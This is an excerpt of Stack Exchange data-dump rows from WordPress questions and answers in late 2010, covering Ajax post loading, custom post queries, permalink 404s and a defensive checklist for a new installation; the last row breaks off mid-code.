  <row Id="3940" PostTypeId="1" AcceptedAnswerId="3944" CreationDate="2010-11-11T17:49:05.943" Score="2" ViewCount="722" Body="&lt;p&gt;I would like to make a portfolio page where each entry (a post) would be fetched using Ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way I would have an image gallery, but in which I not only would have images but also the description of the work, if it's for sale, the url to the shop, and whatever other random fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gallery is not good enough because there is no clean way of displaying text belonging to each image's post.&lt;/p&gt;&#xA;" OwnerUserId="1450" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:18:19.843" LastActivityDate="2011-01-03T18:18:19.843" Title="Can I load posts via Ajax?" Tags="&lt;posts&gt;&lt;gallery&gt;&lt;ajax&gt;&lt;image&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3941" PostTypeId="2" ParentId="3331" CreationDate="2010-11-11T19:05:22.623" Score="0" ViewCount="" Body="&lt;p&gt;For games schedulling and listing you could easily adapt &lt;a href=&quot;http://gigpress.com/&quot; rel=&quot;nofollow&quot;&gt;gigpress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2010-11-11T19:05:22.623" />
  <row Id="3942" PostTypeId="2" ParentId="3920" CreationDate="2010-11-11T19:08:01.037" Score="2" ViewCount="" Body="&lt;p&gt;as a followup to t31os' answer, here's the complete code needed (combining the contents of the plugin mentioned with t31os' fix), with modifications to handle custom post types as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'add_menu_classes', 'show_pending_number');&#xA;function show_pending_number( $menu ) {&#xA;    $type = &quot;animals&quot;;&#xA;    $status = &quot;pending&quot;;&#xA;    $num_posts = wp_count_posts( $type, 'readable' );&#xA;    $pending_count = 0;&#xA;    if ( !empty($num_posts-&amp;gt;$status) )&#xA;        $pending_count = $num_posts-&amp;gt;$status;&#xA;&#xA;    // build string to match in $menu array&#xA;    if ($type == 'post') {&#xA;        $menu_str = 'edit.php';&#xA;    } else {&#xA;        $menu_str = 'edit.php?post_type=' . $type;&#xA;    }&#xA;&#xA;    // loop through $menu items, find match, add indicator&#xA;    foreach( $menu as $menu_key =&amp;gt; $menu_data ) {&#xA;        if( $menu_str != $menu_data[2] )&#xA;            continue;&#xA;        $menu[$menu_key][0] .= &quot; &amp;lt;span class='update-plugins count-$pending_count'&amp;gt;&amp;lt;span class='plugin-count'&amp;gt;&quot; . number_format_i18n($pending_count) . '&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;';&#xA;    }&#xA;    return $menu;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;place this in functions.php, no need for the plugin.&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-11-11T19:08:01.037" CommentCount="4" />
  <row Id="3943" PostTypeId="1" AcceptedAnswerId="3945" CreationDate="2010-11-11T19:40:06.660" Score="3" ViewCount="284" Body="&lt;p&gt;Any post install tips after installing Wordpress 3.0.1? which would be useful for any wordpress installation , where we will use wordpress as a CMS for a website. and blog page will not as a home page.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2010-11-14T21:19:21.683" Title="Any post install tips after installing Wordpress 3.0.1?" Tags="&lt;3.0.1&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" />
  <row Id="3944" PostTypeId="2" ParentId="3940" CreationDate="2010-11-11T19:42:44.087" Score="4" ViewCount="" Body="&lt;p&gt;Absolutely!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of themes on the market that do load posts via AJAX.  Take a look at any of them to get an idea of how they work.  A particularly good example is &lt;a href=&quot;http://getk2.com/&quot; rel=&quot;nofollow&quot;&gt;K2&lt;/a&gt; - K2 loads entire pages of posts via AJAX if you click on the previous posts link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To really get your hands dirty, check out &lt;a href=&quot;http://www.emanueleferonato.com/2010/04/01/loading-wordpress-posts-with-ajax-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;this awesome tutorial&lt;/a&gt; on loading posts via AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep in mind, AJAX is all about using JavaScript to request data from a server - your server in this case is running WordPress and is built to produce posts based on specific requests.  All you need to do is add the JavaScript layer to request them on demand.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-11T19:42:44.087" />
  <row Id="3945" PostTypeId="2" ParentId="3943" CreationDate="2010-11-11T20:00:41.617" Score="7" ViewCount="" Body="&lt;h1&gt;01 Database Security&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;01.01 change your database prefix during install or after install this is security by obscurity but helps with automated scripts that could run over all databases to inject bad code in your content like scripts, iframes or display: bits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;01.02 install a database backup plugin to automate the backup e.g. &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-db-backup/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-db-backup/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read More: &lt;a href=&quot;http://codex.wordpress.org/WordPress_Backups&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Backups&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;02 Operating System Security&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;02.01 change all your files to 644 and directories to 755.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02.02 only access your backend via secure means e.g. never use ftp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02.03 move the wp-config.php one level up so that it does not sit in your webroot directory. E.g. with MediaTemple: move it one level up to the HTML directory. Chmod this file to 400 for starters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02.04 install an intrusion detection system. At least something like wordpress file monitor to check for potential changes (use hash option): &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-file-monitor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-file-monitor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read More: &lt;a href=&quot;http://codex.wordpress.org/WordPress_Backups&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Backups&lt;/a&gt;&#xA;Read More: &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Hardening_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02.05 If possible use svn to install the initial site and upgrade it, may also be handy in case of zero day breaches you need to act upon&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;03 WordPress Security&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;03.01 Install login lockdown (http://wordpress.org/extend/plugins/login-lockdown/) or related plugins that minimize the amount of allowed retries on logging in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;03.02 Choose a strong password, use a password tool for storing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;03.03 Preferably perform all administration via https&#xA;Read More: &lt;a href=&quot;http://codex.wordpress.org/Administration_Over_SSL&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Administration_Over_SSL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;03.04 Never use Admin as username, change it directory from the start to something else, you can change it via the database: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update tableprefix_users set user_login='newuser' where user_login='admin';,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;03.05 Hide the version WordPress is using or possibly hide the fact that your using WordPress at all, see e.g.: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1507/steps-to-take-to-hide-the-fact-a-site-is-using-wordpress&quot;&gt;Steps to Take to Hide the Fact a Site is Using WordPress?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;03.06 Remove notifications about new updates, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1585#1585&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;04 Anti Spam&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;04.01 enter your Akismet key for starters. You can get your key after signing up with wordpress.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;04.02 install a Captcha tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2943/why-do-i-get-comment-spam-even-with-akismet-and-captcha&quot;&gt;Why do I get comment spam even with Akismet and Captcha?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;05 Usability and URL Hacking&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;05.01 Set a Permalink for your blogs. Create one that will not cause performance issues. See: &lt;a href=&quot;http://wordpress.stackexchange.com/q/3431/576&quot;&gt;Performance of my permalink structure?&lt;/a&gt;. Remember that you will have to live with it for a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;05.02 adjust your titles to have a meaningful names. See: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1603#1603&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt; for an example, change to your own likings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;05.03 Give your blog a meaningful title and subtitle&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;06 Functional Installation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;06.01 Add Users to your weblog, use strong passwords&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.02 Add a contact form, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/70/contact-form-on-wordpress-sites&quot;&gt;Contact Form on WordPress Sites?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.03 install tinymce advanced: &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-advanced/&lt;/a&gt;&#xA;this gives you needed table editing, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.04 configure the blog in blogging tools or write documentation how to do this e.g. in  windows live writer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.05 Modify the login logo and link, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1610#1610&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.06 Remove pings to your own blog: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1852#1852&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.07 Display content only for specific users, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1919#1919&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.08 delete the hello post and comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.09 delete the hello dolly plugin, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1714/initialization-script-for-standard-aspects-of-a-wordpress-website&quot;&gt;Initialization Script for &quot;Standard&quot; Aspects of a WordPress Website?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.10 write an about page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06.11 add your FTP details for upgrading: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/48/how-can-i-stop-wordpress-from-prompting-me-to-enter-ftp-information-when-doing-up&quot;&gt;How can I stop WordPress from prompting me to enter FTP information when doing updates?&lt;/a&gt; (possibly further secure this)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;07 SEO and Metrics&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;07.01 Add Analytic Tools like Google Analytics, Wp Stats, Statcounter to your theme. There are also plugins available to auto include the scripts for these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;07.02 WP Stats gives you shortlinks. Handy to include the short link code in your post to have users twitter them etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;07.03 Register your blog on Technorati&lt;/p&gt;&#xA;&#xA;&lt;p&gt;07.04 install a twitter plugin to sync your posts with your twitter account&lt;/p&gt;&#xA;&#xA;&lt;p&gt;07.05 Remove not needed words in titles automatically, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/2383#2383&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;07.06 install any of the hundreds of SEO plugins&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;08 Performance&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;08.01 install one cache plugin (or more). see e.g.: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2213/what-are-the-best-practices-for-using-a-caching-plugin-on-a-shared-host&quot;&gt;What are the best practices for using a caching plugin on a shared host?&lt;/a&gt; there are a lot of options, you might also think of widget caching or in specific cases needing to write your own cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;08.02 install wp smush it to automatically shrink your images: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-smushit/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-smushit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;08.03 disable revision or limit them: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1672#1672&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt; (this is performance and scaling in the broadest sense)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;08.04 for a while check the amount of queries and performance, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1866#1866&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;08.05 If you do not need XMLRPC, remove it, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1769#1769&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;09 Design&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;09.01 Install a theme. Depending on your needs make a decision on what you seek in a theme, think of useability by disabled, SEO and maintainability by non technical people OR create your own theme. It's not that hard.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;10 Useless&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;10.01 Remove the filter to translate WoRdPrEsS back to WordPress, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1857#1857&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-14T21:19:21.683" LastActivityDate="2010-11-14T21:19:21.683" CommentCount="4" />
  <row Id="3946" PostTypeId="2" ParentId="3891" CreationDate="2010-11-11T20:30:23.897" Score="2" ViewCount="" Body="&lt;p&gt;Apparantly this happens with the newer version of domain mapping because sunrise.php itself needs to be updated. To solve it I:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the new sunrise.php file from wp-content/plugins/wordpress-mu-domain-mapping/sunrise.php to wp-content/sunrise.php and you'll be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it works now.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2010-11-11T20:30:23.897" CommentCount="1" />
  <row Id="3947" PostTypeId="2" ParentId="2764" CreationDate="2010-11-11T20:46:41.857" Score="1" ViewCount="" Body="&lt;p&gt;The BuddyPress bar shows notifications e.g. when someone friends you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you have to search then for BuddyPress plugins that enable your 3 requirements.&#xA;and add the code to the filter for the bar on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or widget-tify the activity stream per user enriched with whatever more data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can even award points for all interaction like here and like the BuddyPress CubePoints plugin&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-11T20:55:27.450" LastActivityDate="2010-11-11T20:55:27.450" CommentCount="1" />
  <row Id="3948" PostTypeId="2" ParentId="3924" CreationDate="2010-11-11T21:04:52.123" Score="1" ViewCount="" Body="&lt;p&gt;(side note) In wp-config you can set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;define('CUSTOM_USER_TABLE', $table_prefix.'my_users');&#xA;define('CUSTOM_USER_META_TABLE', $table_prefix.'my_usermeta');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would expect this to work especially for the case when you have centralized your user database... but it does not: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13323&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/13323&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(and a username/password for the remote database to get the info from)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is the best way to go: 1 db with the user table and the user meta table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nacin writes here that there are multiple plugins who provide this functionality more &#xA;robustly here so I assume there are plugins for this. (I have not found it yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found: &lt;a href=&quot;http://wordpress.org/extend/plugins/wpldap/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wpldap/&lt;/a&gt; but that would require the different domains (&quot;ldap&quot; domains) are synchronized / have a trust relation. But as I read there must be other plugins for this this also.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Why I would NOT sync as indicated above and use a central database:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The tricky thing is that the same user can have changed his password in installation 1 and in installation 2 OR a user is added in installation 1 under the same name as another user in installation 2 OR the user has another e-mail in installation 1 as in installation 2 etc..&lt;/li&gt;&#xA;&lt;li&gt;Even if you trigger the sync on any insert / update / delete (and rely on it to ahve convered all user databases there could be plugins that modify the meta user table and by which you lose control (so especially the user meta data creates lots of new use cases to take into account).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Writing your own sync e.g. with dbsync with some code around it to check for all synchronization cases is difficult because of all the use cases. there are many companies who have products for this for e.g. enterprise CRM systems interfacing with lots of other contact databases and which require cleansing and validation of user data but none are perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you could also add additional requirements like &quot;only register/update on site 1&quot; and then use site 1 for all further synchronization. Then again... plugins that add specific user metadata... in e.g. installation 5 would not sync their changes to e.g. installation 3. So additional you need then a diff with the installation 1 with all other installation and ... if there are differences ... see if can cover them in as much as patterns possible. Treat the exceptions then as manual actions.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-11T22:03:12.727" LastActivityDate="2010-11-11T22:03:12.727" CommentCount="6" />
  <row Id="3949" PostTypeId="1" AcceptedAnswerId="3953" CreationDate="2010-11-11T21:37:02.650" Score="1" ViewCount="2040" Body="&lt;p&gt;I currently use a query_posts to show theese custom posts but I'm pretty sure that I should uses get_posts() to write it correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( array( 'type-mario' =&amp;gt; 'games', 'showposts' =&amp;gt; 10 ) ); ?&amp;gt;&#xA;&amp;lt;p&amp;gt;Mario games&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA; &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA; &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your advices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit, Solved, Thanks to &lt;strong&gt;MikeSchinkel&lt;/strong&gt; !!!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $posts = new WP_Query(array( &#xA;   'taxonomy' =&amp;gt; 'type-mario',&#xA;   'term' =&amp;gt; 'games',&#xA;   'posts_per_page' =&amp;gt; 10 &#xA;)); ?&amp;gt;&#xA;&amp;lt;p&amp;gt;Mario games&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php while ( $posts-&amp;gt;have_posts() ) : $posts-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-11-12T01:26:26.737" Title="How to call a custom post with get_posts() instead of query_posts()?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3950" PostTypeId="1" AcceptedAnswerId="3951" CreationDate="2010-11-11T21:39:24.510" Score="0" ViewCount="367" Body="&lt;p&gt;I'm using the query_posts for &quot;Page&quot; item rather than &quot;Post&quot;. I want to have the ability to make the &quot;featured&quot; page always on the top, we could add a custom field called &quot;featured_product&quot;, if it's eq &quot;1&quot; then display the post as the very first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the basic code for the query. Someone help please!?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('showposts' =&amp;gt; 1000, 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'page', 'orderby' =&amp;gt; 'title', 'order' =&amp;gt; 'ASC')); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;...                             &#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;...&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-04T19:46:44.397" LastActivityDate="2011-05-04T19:46:44.397" Title="wordpress query_posts featured page always on top" Tags="&lt;query-posts&gt;&lt;sticky-post&gt;" AnswerCount="1" />
  <row Id="3951" PostTypeId="2" ParentId="3950" CreationDate="2010-11-11T22:01:18.190" Score="0" ViewCount="" Body="&lt;p&gt;In your query posts array add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_key' =&amp;gt; (meta key name in database), 'meta_value' =&amp;gt; 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make it at the top use two queries. One for the top first post and one for the rest of the posts/pages.&#xA;so your whole query will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('showposts' =&amp;gt; 1, 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'page', 'orderby' =&amp;gt; 'title', 'order' =&amp;gt; 'ASC', 'meta_key' =&amp;gt; featured, 'meta_value' =&amp;gt; 1); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;...                             &#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;...&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;second query goes here as you have it in your post&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &quot;featured&quot; with your key name.&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-11T22:01:18.190" />
  <row Id="3952" PostTypeId="2" ParentId="3949" CreationDate="2010-11-11T22:22:35.520" Score="0" ViewCount="" Body="&lt;p&gt;You can use either really, but if you want to use get_posts this is how it's done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=games&amp;amp;posts_per_page=10'); ?&amp;gt;&#xA;&amp;lt;?php if(have_posts()) : while (have_posts() ) : the_post(); ?&amp;gt;&#xA;...&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-11T22:22:35.520" CommentCount="1" />
  <row Id="3953" PostTypeId="2" ParentId="3949" CreationDate="2010-11-11T23:34:02.993" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;Elium2009&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using your code, I think this is what you were looking for? (note that &lt;code&gt;WP_Query()&lt;/code&gt; is just the more direct version of &lt;code&gt;get_posts()&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $posts = WP_Query(array( &#xA;   'taxonomy' =&amp;gt; 'type-mario'&#xA;   'term' =&amp;gt; 'games',&#xA;   'posts_per_page' =&amp;gt; 10 &#xA;)); ?&amp;gt;&#xA;&amp;lt;p&amp;gt;Mario games&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php while ( $posts-&amp;gt;have_posts() ) : $posts-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps?&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-11T23:34:02.993" CommentCount="2" />
  <row Id="3954" PostTypeId="1" AcceptedAnswerId="3977" CreationDate="2010-11-11T23:55:58.293" Score="1" ViewCount="206" Body="&lt;p&gt;I've created a custom post type, and have successfully added a few entries. I can call these entries out with &lt;code&gt;query_posts()&lt;/code&gt; to show on the front page, but &lt;code&gt;the_permalink()&lt;/code&gt; on each of them just sends me to a &quot;Page not found&quot; 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? I'm currently running on &lt;code&gt;http://localhost&lt;/code&gt;, so the results of &lt;code&gt;the_permalink()&lt;/code&gt; from the front page custom post type loop sends the user to &lt;code&gt;http://localhost/PU/PU2010/website/cartoons/einstein-on-california&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;functions.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function createCartoonPostType() {&#xA;    register_post_type( 'cartoon', array(&#xA;        'label' =&amp;gt; 'Cartoon',&#xA;        'public' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'thumbnail', 'comments' ),&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'cartoons' )&#xA;    ) );&#xA;}&#xA;add_action( 'init', 'createCartoonPostType' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to this, I should be able to just create &lt;code&gt;single-cartoon.php&lt;/code&gt;, correct?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;single-cartoon.php&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;container_20&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_14&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;bodybox&quot;&amp;gt;&#xA;                &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php the_title(); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_6&quot;&amp;gt;&#xA;            &amp;lt;?php get_template_part( 'social', 'box' ); ?&amp;gt;&#xA;            &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); 